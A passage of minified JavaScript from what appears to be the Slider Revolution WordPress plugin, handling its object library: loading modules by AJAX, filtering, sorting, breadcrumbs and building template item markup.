t=e.originalEvent.dataTransfer;t.types&&(t.types.indexOf?-1!=t.types.indexOf("Files"):t.types.contains("Files"))&&!RVS.S.dragginginside&&0===jQuery("#filedrop").length&&RVS.F.browserDroppable.init({onlydrop:!1,type:"custom",callBack:RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.callBack,success:"uploadCustomObject",action:"add_to_media_library"})}}),RVS.DOC.on("click","#upload_custom_files",function(){RVS.F.runCustomObjectImport()})},RVS.F.runCustomObjectImport=function(){RVS.F.browserDroppable.init({onlydrop:!1,success:"uploadCustomObject",type:"custom",callBack:RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.callBack})},RVS.DOC.on("runCustomObjectImport",RVS.F.runCustomObjectImport),RVS.F.extendFilterIcons=function(t){e[t.handle]=t.icon},RVS.F.extendLibTypes=function(e){RVS.LIB.OBJ.types=jQuery.extend(!0,e,RVS.LIB.OBJ.types)},RVS.F.openObjectLibrary=function(e){RVS.LIB.OBJ.open=!0,e=void 0===e?{types:"all",filter:"all",selected:["moduletemplates"],success:{slider:"addNewSlider"}}:e,RVS.S.isRTL=void 0===RVS.S.isRTL?jQuery(document.body).hasClass("rtl"):RVS.S.isRTL,RVS.LIB.OBJ.inited||RVS.F.initObjectLibrary(),!0!==e.silent&&(tpGS.gsap.fromTo(RVS.LIB.OBJ.container_Library,.7,{scale:.8,autoAlpha:0,display:"none"},{autoAlpha:1,display:"block",scale:1,ease:"power3.inOut"}),tpGS.gsap.fromTo("#ol_header, #ol_footer",.5,{autoAlpha:0,ease:"power3.inOut"},{autoAlpha:1,opacity:1,ease:"power3.inOut",delay:.5})),RVS.LIB.OBJ.staticalso=e.staticalso,RVS.LIB.OBJ.success=e.success,RVS.LIB.OBJ.selectedType=e.selected[0],RVS.LIB.OBJ.selectedFilter=e.filter,RVS.LIB.OBJ.selectedFolder=-1,RVS.LIB.OBJ.selectedPage=0,RVS.LIB.OBJ.selectedPackage=-1,RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.slideParent=-1,RVS.LIB.OBJ.reDownloadTemplate=!1,RVS.LIB.OBJ.createBlankPage=!1,RVS.LIB.OBJ.data=e.data,RVS.LIB.OBJ.context=void 0===e.context?"overview":"editor",RVS.LIB.OBJ.depth=void 0===e.depth?"slide":e.depth,jQuery(".ol_filter_type.selected").removeClass("selected"),jQuery(".ol_filter_type.open").removeClass("open"),"all"!==e.types?RVS.LIB.OBJ.container_Filters.find(".ol_filter_type").each(function(){jQuery.inArray(this.dataset.type,e.types)>=0?jQuery(this).show():jQuery(this).hide()}):RVS.LIB.OBJ.container_Filters.find(".ol_filter_type").show();var t=jQuery("#ol_filter_"+e.selected);t.addClass("open"),t.find(".ol_filter_headerelement").addClass("selected"),t.find('.ol_filter_listelement[data-filter="'+e.filter+'"]').addClass("selected"),u(!0),RVS.F.loadLibrary({modules:e.selected,event:void 0!==e.event?e.event:"reBuildObjectLibrary"}),!1===e.updatelist?jQuery("#obj_updatefromserver").hide():jQuery("#obj_updatefromserver").show(),RVS.S.bodybeforeOpenLibrary=document.body.style.overflow,document.body.style.overflow="hidden"},RVS.F.reBuildObjectLibrary=function(){RVS.F.updateFilteredList()},RVS.F.updateObjectLibraryFromServer=function(e){RVS.F.removeModuleTemplatesFromLibrary(e),RVS.LIB.OBJ.refreshFromServer=!0,RVS.F.loadLibrary({modules:[e],event:"reBuildObjectLibrary"})},RVS.F.removeModuleTemplatesFromLibrary=function(e){delete RVS.LIB.OBJ.types[e],delete RVS.LIB.OBJ.items[e],RVS.LIB.OBJ.selectedType=e,RVS.LIB.OBJ.lastSelectedType=e,RVS.LIB.OBJ.filteredList=[],RVS.LIB.OBJ.oldList=[],RVS.LIB.OBJ.pages=[],RVS.LIB.OBJ.container_Output[0].innerHTML=""},RVS.F.loadLibrary=function(e){var t=[],i=[];for(var r in e.modules)e.modules.hasOwnProperty(r)&&(RVS.LIB.OBJ.types[e.modules[r]]=void 0===RVS.LIB.OBJ.types[e.modules[r]]?{}:RVS.LIB.OBJ.types[e.modules[r]],RVS.LIB.OBJ.items[e.modules[r]]=void 0===RVS.LIB.OBJ.items[e.modules[r]]?[]:RVS.LIB.OBJ.items[e.modules[r]],!0!==RVS.LIB.OBJ.types[e.modules[r]].loaded||0===RVS.LIB.OBJ.items[e.modules[r]].length?t.push(e.modules[r]):i.push(e.modules[r]));t.length>0&&RVS.F.ajaxRequest("load_module",{module:t,refresh_from_server:RVS.LIB.OBJ.refreshFromServer},function(t){if(t.success){for(var i in t.modules)if(t.modules.hasOwnProperty(i)){for(var r in RVS.LIB.OBJ.items[i]=void 0===RVS.LIB.OBJ.items[i]?[]:RVS.LIB.OBJ.items[i],t.modules[i].items)t.modules[i].items.hasOwnProperty(r)&&(RVS.LIB.OBJ.items[i][r]=t.modules[i].items[r],RVS.LIB.OBJ.items[i][r].libraryType=i,void 0===RVS.LIB.OBJ.items[i][r].id&&(RVS.LIB.OBJ.items[i][r].id=r));void 0!==t.modules[i].tags&&(RVS.LIB.OBJ.types[i].tags=t.modules[i].tags,a(i)),RVS.LIB.OBJ.types[i].loaded=!0}if(void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam),RVS.LIB.OBJ.success&&RVS.LIB.OBJ.success.event){let e=RVS.LIB.OBJ.success.eventparam||!1;RVS.DOC.trigger(RVS.LIB.OBJ.success.event,e)}}}),i.length>0&&0===t.length&&void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam),RVS.LIB.OBJ.refreshFromServer=!1},RVS.F.loadSimpleModule=function(e){var t=!1;for(var i in RVS.LIB.OBJ.items[e.modules[0]])RVS.LIB.OBJ.items[e.modules[0]].hasOwnProperty(i)&&(t=!0===t||RVS.LIB.OBJ.items[e.modules[0]][i].parent==e.moduleid);t?void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam):RVS.F.ajaxRequest("load_module",{module:e.modules[0],module_id:e.moduleid,module_uid:e.module_uid,static:RVS.LIB.OBJ.staticalso},function(t){if(t.success){for(var i in t.modules)if(t.modules.hasOwnProperty(i)){RVS.LIB.OBJ.items[i]=void 0===RVS.LIB.OBJ.items[i]?[]:RVS.LIB.OBJ.items[i];var a=RVS.LIB.OBJ.items[i].length,r=RVS.F.getModuleIndex(e.moduleid,e.parenttype),o=RVS.LIB.OBJ.items[e.parenttype][r].title;for(var s in t.modules[i].items)t.modules[i].items.hasOwnProperty(s)&&(t.modules[i].items[s].libraryType=i,t.modules[i].items[s].moduleid=e.moduleid,t.modules[i].items[s].module_uid=e.module_uid,t.modules[i].items[s].parenttitle=o,t.modules[i].items[s].slideid=void 0===t.modules[i].items[s].id?s:t.modules[i].items[s].id,t.modules[i].items[s].id=parseInt(a,0)+parseInt(s,0),RVS.LIB.OBJ.items[i].push(t.modules[i].items[s]))}void 0!==e.event&&RVS.DOC.trigger(e.event,e.eventparam)}})},RVS.F.addonInstalledOnDemand=function(e){var t=!1;if(void 0!==RVS.LIB.OBJ&&void 0!==RVS.LIB.OBJ.items){for(var i in RVS.LIB.OBJ.items.moduletemplates)if(RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(i)){var a=RVS.LIB.OBJ.items.moduletemplates[i];for(var r in a.plugin_require)if(a.plugin_require.hasOwnProperty(r)){var o=a.plugin_require[r].path.split("/");(o=o[o.length-1].split(".php")[0])!==e&&a.plugin_require[r].name!==e||(a.plugin_require[r].installed=!0,a&&a.ref&&a.ref.remove(),delete a.ref,t=!0)}}t&&RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})}},RVS.F.updateParentAttributes=function(){if(window.parentAttributesUpdateForObjects)return!1;for(var e in RVS.LIB.OBJ.items.modules)if(RVS.LIB.OBJ.items.modules.hasOwnProperty(e)&&RVS.LIB.OBJ.items.modules[e].folder)for(var t in window.parentAttributesUpdateForObjects=!0,RVS.LIB.OBJ.items.modules[e].children)if(RVS.LIB.OBJ.items.modules[e].children.hasOwnProperty(t)){var i=RVS.F.getSliderIndex(RVS.LIB.OBJ.items.modules[e].children[t]);-1!==i&&(RVS.LIB.OBJ.items.modules[i].parent=RVS.LIB.OBJ.items.modules[e].id)}},RVS.F.updateFilteredList=function(e){if(e=void 0===e?{force:!1,keeppage:!1,noanimation:!1,focusItem:!1}:e,void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].infoPlus?RVS.LIB.OBJ.infoPlus[0].innerHTML=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].infoPlus:RVS.LIB.OBJ.infoPlus[0].innerHTML="",void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload?(RVS.LIB.OBJ.uploadCustoms[0].innerHTML=RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload.buttonText,RVS.LIB.OBJ.uploadCustoms[0].style.display="block"):(RVS.LIB.OBJ.uploadCustoms[0].innerHTML="",RVS.LIB.OBJ.uploadCustoms[0].style.display="none"),-1!==RVS.LIB.OBJ.selectedPackage)RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.package_order-t.package_order}),RVS.LIB.OBJ.container_Sorting.hide();else switch(RVS.LIB.OBJ.container_Sorting.show(),RVS.LIB.OBJ.container_Library.find("#sel_olibrary_sorting")[0].value){case"datedesc":"moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType?RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.id-t.id}):RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return t.id-e.id});break;case"title":RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.title.toUpperCase().localeCompare(t.title.toUpperCase())});break;case"titledesc":RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return t.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].sort(function(e,t){return e.id-t.id})}RVS.LIB.OBJ.selectedFolder=parseInt(RVS.LIB.OBJ.selectedFolder,0),RVS.LIB.OBJ.oldlist=RVS.LIB.OBJ.filteredList,RVS.LIB.OBJ.filteredList=[];var t=jQuery("#searchobjects").val().toLowerCase(),i=jQuery("#obj_fil_favorite").hasClass("selected");for(var a in"modules"===RVS.LIB.OBJ.selectedType&&RVS.F.updateParentAttributes(),RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(a)){var r=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][a];r.parent=void 0===r.parent?-1:r.parent;var o=h(r.parent);if(!i||r.favorite){var s=jQuery.inArray(RVS.LIB.OBJ.selectedFolder,o)>=0||jQuery.inArray(""+RVS.LIB.OBJ.selectedFolder,o)>=0;(t.length>2&&s&&r.title.toLowerCase().indexOf(t)>=0&&("all"==RVS.LIB.OBJ.selectedFilter||S({o:r,filter:RVS.LIB.OBJ.selectedFilter}))||t.length<3&&RVS.LIB.OBJ.selectedType===r.libraryType&&"all"==RVS.LIB.OBJ.selectedFilter&&parseInt(r.parent,0)==RVS.LIB.OBJ.selectedFolder||t.length<3&&RVS.LIB.OBJ.selectedType===r.libraryType&&S({o:r,filter:RVS.LIB.OBJ.selectedFilter})&&s||"moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType)&&(i&&r.favorite&&(-1==RVS.LIB.OBJ.selectedPackage||r.package_id==RVS.LIB.OBJ.selectedPackage)||"moduletemplates"===RVS.LIB.OBJ.selectedType&&(t.length>2||-1==RVS.LIB.OBJ.selectedPackage&&(null==r.package_id||"true"==r.package_parent)||-1!==RVS.LIB.OBJ.selectedPackage&&r.package_id==RVS.LIB.OBJ.selectedPackage&&"true"!=r.package_parent)||("moduletemplateslides"===RVS.LIB.OBJ.selectedType||"moduleslides"===RVS.LIB.OBJ.selectedType)&&RVS.LIB.OBJ.selectedModule==r.parent||"moduletemplates"!==RVS.LIB.OBJ.selectedType&&"moduletemplateslides"!==RVS.LIB.OBJ.selectedType&&"moduleslides"!==RVS.LIB.OBJ.selectedType)&&RVS.LIB.OBJ.filteredList.push(r.id)}}RVS.LIB.OBJ.filteredList.length>1&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload&&(" "+RVS.LIB.OBJ.filteredList[0]).indexOf("_99999")>=0&&RVS.LIB.OBJ.filteredList.splice(0,1),(e.force||JSON.stringify(RVS.LIB.OBJ.oldlist)!==JSON.stringify(RVS.LIB.OBJ.filteredList))&&(RVS.F.buildPagination({keeppage:e.keeppage,focusItem:e.focusitem}),RVS.F.drawOverview({noanimation:e.noanimation,focusItem:e.focusItem})),RVS.LIB.OBJ.container_OutputWrap.RSScroll("update")},RVS.F.drawOverview=function(e){if(e=void 0===e?{noanimation:!1}:e,RVS.LIB.OBJ.container_Output.find(".rsl_breadcrumb_wrap").remove(),-1!==RVS.LIB.OBJ.selectedFolder||-1!==RVS.LIB.OBJ.selectedPackage||-1!==RVS.LIB.OBJ.selectedModule){var t='<div class="rsl_breadcrumb_wrap">';t+='<div class="rsl_breadcrumb" data-folderid="-1"><i class="material-icons">apps</i>'+RVS_LANG.simproot+"</div>",t+='<i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>';var i="";if(-1!==RVS.LIB.OBJ.selectedFolder){for(var a=RVS.LIB.OBJ.selectedFolder,r=0;-1!==a&&100!==r;){var o="moduleslides"===RVS.LIB.OBJ.selectedType?"modules":RVS.LIB.OBJ.selectedType,s=RVS.F.getModuleIndex(a,o);-1!==s&&"-1"!==s?(i='<div class="rsl_breadcrumb" data-folderid="'+a+'"><i class="material-icons">folder_open</i>'+RVS.LIB.OBJ.items[o][s].title+'</div><i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>'+i,a=RVS.LIB.OBJ.items[o][s].parent||-1,r++):(r=100,RVS.LIB.OBJ.selectedModule=-1,RVS.LIB.OBJ.selectedModuleTitle="",RVS.LIB.OBJ.selectedModuleType="",v(),"moduletemplates"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedPackage=-1),"modules"===RVS.LIB.OBJ.selectedType&&(RVS.LIB.OBJ.selectedFolder=-1,RVS.F.resetAllFilters()),RVS.F.updateFilteredList({force:!0,keeppage:!0,noanimation:!0}))}t+=i}t+=-1!==RVS.LIB.OBJ.selectedPackage?'<div id="rsl_bread_selected" data-folderid="'+RVS.LIB.OBJ.selectedPackage+'" class="rsl_breadcrumb">'+RVS.LIB.OBJ.selectedPackageTitle+"</div>":'<div id="rsl_bread_selected" class="rsl_breadcrumb"></div>',t+=-1!==RVS.LIB.OBJ.selectedModule?-1!==RVS.LIB.OBJ.selectedPackage?'<i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i><div id="rsl_bread_selected" class="rsl_breadcrumb">'+RVS.LIB.OBJ.selectedModuleTitle+"</div>":'<div id="rsl_bread_selected" class="rsl_breadcrumb">'+RVS.LIB.OBJ.selectedModuleTitle+"</div>":'<div id="rsl_bread_selected" class="rsl_breadcrumb"></div>',t+="</div>",RVS.LIB.OBJ.container_Output.append(t)}if(void 0!==RVS.LIB.OBJ.lastSelectedType&&RVS.LIB.OBJ.lastSelectedType!==RVS.LIB.OBJ.selectedType)for(var l in RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType])void 0!==RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType][l].ref&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.lastSelectedType][l].ref.detach();if(RVS.LIB.OBJ.lastSelectedType=RVS.LIB.OBJ.selectedType,RVS.LIB.OBJ.selectedPage=void 0===RVS.LIB.OBJ.selectedPage?1:RVS.LIB.OBJ.selectedPage,RVS.LIB.OBJ.waitForLoad=[],RVS.LIB.OBJ.waitForLoadIndex=0,jQuery.inArray(RVS.LIB.OBJ.selectedType,["fonticons","images","layers","modules","moduletemplateslides","moduletemplates","moduleslides","objects","svgs","videos"])>=0){for(var l in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(l)){var n=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][l];jQuery.inArray(n.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0&&void 0===n.ref&&(void 0!==n.img&&("object"==typeof n.img&&-1===n.img.url.indexOf("//")||"object"!=typeof n.img&&-1===n.img.indexOf("//"))&&RVS.LIB.OBJ.waitForLoad.push({librarytype:n.libraryType,mediatype:"img",ind:l,id:"object"==typeof n.img?n.img.url:n.img}),void 0!==n.video_thumb&&("object"==typeof n.video_thumb&&-1===n.video_thumb.url.indexOf("//")||"object"!=typeof n.video_thumb&&-1===n.video_thumb.indexOf("//"))&&RVS.LIB.OBJ.waitForLoad.push({librarytype:n.libraryType,mediatype:"video",ind:l,id:"object"==typeof n.video_thumb?n.video_thumb.url:n.img}))}RVS.F.loadAllMissingMedia()}else void 0!==RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]&&RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]()},RVS.F.loadAllMissingMedia=function(){if(RVS.LIB.OBJ.waitForLoad.length>0){if(RVS.LIB.OBJ.waitForLoadIndex<RVS.LIB.OBJ.waitForLoad.length){var e="layers"===RVS.LIB.OBJ.waitForLoad[0].librarytype||"videos"===RVS.LIB.OBJ.waitForLoad[0].librarytype?Math.round(RVS.LIB.OBJ.waitForLoad.length/2):RVS.LIB.OBJ.waitForLoad.length;e="videos"===RVS.LIB.OBJ.waitForLoad[0].librarytype?Math.round(RVS.LIB.OBJ.waitForLoad.length/2)+" "+RVS_LANG.elements+" ("+Math.round(RVS.LIB.OBJ.waitForLoad.length/2*450)/100+"MB)":"layers"===RVS.LIB.OBJ.waitForLoad[0].librarytype?Math.round(RVS.LIB.OBJ.waitForLoad.length/2)+" "+RVS_LANG.elements+" ("+Math.round(RVS.LIB.OBJ.waitForLoad.length/2*25)/100+"MB)":Math.round(RVS.LIB.OBJ.waitForLoad.length)+" "+RVS_LANG.elements+" ("+Math.round(1.5*RVS.LIB.OBJ.waitForLoad.length)/100+"MB)",RVS.F.ajaxRequest("load_library_image",RVS.LIB.OBJ.waitForLoad,function(e){if(e.success){for(var t in e.data)if(e.data.hasOwnProperty(t)){var i=e.data[t],a=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][i.ind];"img"===i.mediatype&&("object"==typeof a.img?a.img.url=i.url:a.img=i.url),"video"===i.mediatype&&("object"==typeof a.video_thumb?a.video_thumb.url=i.url:a.video_thumb=i.url)}RVS.F.finalDrawOfElements()}else console.log("Could Not be loaded. Please try later."),RVS.F.finalDrawOfElements()},void 0,void 0,RVS_LANG.loadingthumbs+'<br><span style="font-size:17px; line-height:25px;">'+RVS_LANG.loading+" "+e+"</span>")}}else RVS.F.finalDrawOfElements()},RVS.F.loadCustomLibraryItems=function(e,t){var i=[];for(var a in RVS.LIB.OBJ.items[e])if(RVS.LIB.OBJ.items[e].hasOwnProperty(a)){var r=RVS.LIB.OBJ.items[e][a];jQuery.inArray(r.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0&&0==r.img&&i.push({ind:a,id:r.id,handle:r.handle})}if(i.length>0){var o=Math.round(i.length)+" "+RVS_LANG.elements+" ("+Math.round(i.length*t)/100+"MB)";RVS.F.ajaxRequest("download_lordicon_file",{handle:i},function(t){if(t.success){for(var i in t.data)if(t.data.hasOwnProperty(i)){var a=t.data[i];RVS.LIB.OBJ.items[e][a.ind].img=a.url}RVS.F.finalDrawOfElements()}else console.log("Could Not be loaded. Please try later."),RVS.F.finalDrawOfElements()},void 0,void 0,RVS_LANG.loadingthumbs+'<br><span style="font-size:17px; line-height:25px;">'+RVS_LANG.loading+" "+o+"</span>")}else RVS.F.finalDrawOfElements()},RVS.F.createLibraryDummyDownloadItem=function(e,t){0===RVS.LIB.OBJ.filteredList.length&&(void 0===RVS.LIB.OBJ[e+"CustomItemAdded"]||"add_custom_item"!==RVS.LIB.OBJ.items[e][0].handle?(RVS.LIB.OBJ.items[e].unshift({id:e+"_99999",handle:"add_custom_item",libraryType:e,parent:-1,favorite:!1,tags:[],title:t,ver:"1"}),RVS.LIB.OBJ[e+"CustomItemAdded"]=!0,RVS.LIB.OBJ.items[e][0].tags.push(RVS.LIB.OBJ.selectedFilter)):RVS.LIB.OBJ.items[e][0].tags.push(RVS.LIB.OBJ.selectedFilter),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements())},RVS.F.finalDrawOfElements=function(){for(var e in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(e)){var t=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e];jQuery.inArray(t.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0?(0,void 0!==t.ref&&t.folder&&t.ref.remove(),t.ref=void 0===t.ref||t.folder?RVS.F.buildElement(t):t.ref,t.ref.appendTo(RVS.LIB.OBJ.container_Output)):void 0!==t.ref&&t.ref.detach()}"moduletemplates"===RVS.LIB.OBJ.selectedType&&RVS.F.initOnOff(RVS.LIB.OBJ.container_Output),f()},RVS.F.buildElement=function(e,t){e.importantid=RVS.F.isNumeric(parseInt(e.id))?e.libraryType+"_"+e.id:e.id;var i='<div data-objid="'+e.id+'" id="'+e.importantid+'" class="olibrary_item">';i+='\t<div class="olibrary_media_wrap"></div>',i+='\t<div class="olibrary_content_wrap">',i+="\t</div>",i+="</div>";var a=jQuery(i),o=a.find(".olibrary_content_wrap"),s=a.find(".olibrary_media_wrap"),l="",n="",d='<i class="olti_icon olti_green material-icons">check</i>',c='<i class="olti_icon olti_red material-icons">close</i>';switch(e.libraryType){case"moduletemplates":var p,u=!0,v=!0,g=!0;if(l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+="true"==e.package_parent?'\t<div class="olibrary_content_type oc_package">'+RVS_LANG.packageBIG+"</div>":'\t<div class="olibrary_content_type oc_purple">'+RVS_LANG.moduleBIG+"</div>",l+='\t<div class="installed_notinstalled olibrary_content_info oc_gray">'+(e.installed?RVS_LANG.installed:RVS_LANG.notinstalled)+"</div>",l+="</div>",l+='<div class="olibrary_content_right">',l+='\t<i data-id="'+e.id+'" data-type="'+e.type+'" data-libraryType="'+e.libraryType+'" class="olibrary_favorit material-icons '+(e.favorite?"selected":"")+'">star</i>',l+="</div>",n+='<div class="ol_template_info_wrap">',n+='<div class="olti_title">'+e.title+"</div>",n+=e.description,n+='<div class="div30"></div>',n+='<div class="olti_title">'+RVS_LANG.setupnotes+"</div>",n+=e.setup_notes,(void 0!==e.required||void 0!==e.plugin_require&&null!==e.plugin_require)&&(n+='<div class="div30"></div>',n+='<div class="olti_title">'+RVS_LANG.requirements+"</div>",void 0!==e.required&&(n+='<div class="olti_content">'+(RVS.F.compareVersions(e.required,RVS.ENV.revision)?d:c)+"Slider Revolution Version "+e.required+"</div>"),0==RVS.F.compareVersions(e.required,RVS.ENV.revision)&&(u=!1),void 0!==e.plugin_require&&null!==e.plugin_require))for(var m in e.plugin_require)e.plugin_require.hasOwnProperty(m)&&(n+='<div class="olti_content">'+("true"==e.plugin_require[m].installed||1==e.plugin_require[m].installed?d:c)+'<a href="'+e.plugin_require[m].url+'" target="_blank" rel="noopener">'+e.plugin_require[m].name+"</a></div>","true"!==e.plugin_require[m].installed&&!0!==e.plugin_require[m].installed&&(v=!1));u=!1!==RVS.ENV.activated&&u,"editor"===RVS.LIB.OBJ.context?"true"==e.package_parent?a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-elementtype="package_parent" data-title="'+e.title+'" data-packageid="'+e.package_id+'" class="material-icons ol_link_to_deeper">folder</i></div>'):v&&u?a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-moduleid="'+e.id+'" data-module_uid="'+e.uid+'" data-elementtype="module_parent" data-title="'+e.title+'" data-packageid="'+e.id+'" class="material-icons ol_link_to_deeper">burst_mode</i></div>'):a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_add">burst_mode</i></div>'):"true"==e.package_parent?a.append('<div class="olibrary_media_overlay threeicons"><i data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_add">add</i><i data-librarytype="'+e.libraryType+'" data-elementtype="package_parent" data-title="'+e.title+'" data-packageid="'+e.package_id+'" class="material-icons ol_link_to_deeper">folder</i><i data-preview="'+e.preview+'" data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_view">visibility</i></div>'):a.append('<div class="olibrary_media_overlay"><i data-librarytype="'+e.libraryType+'" data-elementtype="" class="material-icons ol_link_to_add">add</i><i data-librarytype="'+e.libraryType+'" data-elementtype=""  data-preview="'+e.preview+'" class="material-icons ol_link_to_view">visibility</i></div>'),void 0!==e.package_id&&-1!==e.package_id&&(p=function(e){var t,i=[],a=!0,r=[];for(var o in RVS.LIB.OBJ.items.moduletemplates)RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(o)&&RVS.LIB.OBJ.items.moduletemplates[o].package_id===e.packageId&&("true"===RVS.LIB.OBJ.items.moduletemplates[o].package_parent?t=RVS.LIB.OBJ.items.moduletemplates[o]:i.push({o:parseInt(RVS.LIB.OBJ.items.moduletemplates[o].package_order,0),uid:RVS.LIB.OBJ.items.moduletemplates[o].uid}));i.sort(function(e,t){return e.o-t.o});var s=[];for(var o in i)void 0!==i[o]&&void 0!==i[o].uid&&s.push(i[o].uid);if(void 0!==t)for(var l in t.plugin_require)"true"!=t.plugin_require[l].installed&&(a=!1),r.push(t.plugin_require[l]);return{installable:a,uids:s,addons:r}}({packageId:e.package_id}),"true"!=e.package_parent&&!1===p.installable&&(g=!1)),n+='<div class="div30"></div>',n+='<div class="olti_title">'+RVS_LANG.availableversion+"</div>",n+='<div class="olti_content">'+e.version+"</div>",n+='<div class="div30"></div>';var h=!1;if("true"!=e.package_parent&&(RVS.ENV.activated?n+=u?'<div data-title="'+e.title+'" data-uid="'+e.uid+'" class="olti_btn olti_install_template"><i class="material-icons">file_download</i>'+(v?RVS_LANG.installtemplate:RVS_LANG.installtemplateandaddons)+"</div>":'<div data-title="'+e.title+'" data-uid="'+e.uid+'" class="olti_btn olti_install_template notinstallable"><i class="material-icons">file_download</i>'+RVS_LANG.pluginsmustbeupdated+"</div>":(h=!0,n+='<div class="olti_btn olti_install_template notinstallable"><i class="material-icons">file_download</i>'+RVS_LANG.licencerequired+"</div>"),void 0!==e.package_id&&-1!==e.package_id&&(n+='<div class="div10"></div>')),void 0!==e.package_id&&-1!==e.package_id&&(RVS.ENV.activated&&u?n+='<div data-package="'+e.package+'" data-folderuid="'+e.uid+'" data-uids="'+p.uids.toString()+'" class="olti_btn olti_install_template_package"><i class="material-icons">file_download</i>'+(u&&g?RVS_LANG.doinstallpackage:RVS_LANG.installpackageandaddons)+"</div>":u?h||(n+='<div class="olti_btn olti_install_template_package notinstallable"><i class="material-icons">file_download</i>'+RVS_LANG.licencerequired+"</div>"):n+='<div id="updateplugin_sc" class="olti_btn olti_install_template_package"><i class="material-icons">file_download</i>'+RVS_LANG.checkversion+"</div>"),("true"!=e.package_parent&&u||void 0!==e.package_id&&-1!==e.package_id&&u)&&(n+='<div class="div20"></div>',n+='<div class="olti_content"><input type="checkbox" class="redownloadTemplateState"/>'+RVS_LANG.redownloadTemplate+"</div>",n+='<div class="olti_content"><input type="checkbox" class="createBlankPageState"/>'+RVS_LANG.createBlankPage+"</div>"),n+="</div>",void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){var S=void 0!==e.img.style?jQuery('<div class="olibrary_media_style" style="'+e.img.style+'"></div>'):jQuery('<div class="olibrary_media_style"></div>');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(S,{backgroundImage:"url("+e.img.url+")"}),s.append(S)}break;case"moduleslides":case"moduletemplateslides":u=!0,g=!0;if(l='<div class="olibrary_content_left">',l+='\t<div class="olibrary_content_title">'+e.title+"</div>",l+="true"==e.package_parent?'\t<div class="olibrary_content_type oc_package">'+RVS_LANG.packageBIG+"</div>":'\t<div class="olibrary_content_type oc_purple">'+RVS_LANG.moduleBIG+"</div>","moduletemplateslides"===e.libraryType&&(void 0!==e.required||void 0!==e.plugin_require&&null!==e.plugin_require)&&(void 0!==e.required&&0==RVS.F.compareVersions(e.required,RVS.ENV.revision)&&(u=!1),void 0!==e.plugin_require&&null!==e.plugin_require))for(var m in e.plugin_require)e.plugin_require.hasOwnProperty(m)&&"true"!=e.plugin_require[m].installed&&!0!==e.plugin_require[m].installed&&u&&(u=!1);if("layers"===RVS.LIB.OBJ.depth)a.append('<div class="olibrary_media_overlay oneicon"><i data-librarytype="'+e.libraryType+'"  data-parenttitle="'+e.parenttitle+'"  data-parent="'+e.parent+'" data-id="'+e.id+'" data-slideid="'+e.slideid+'" 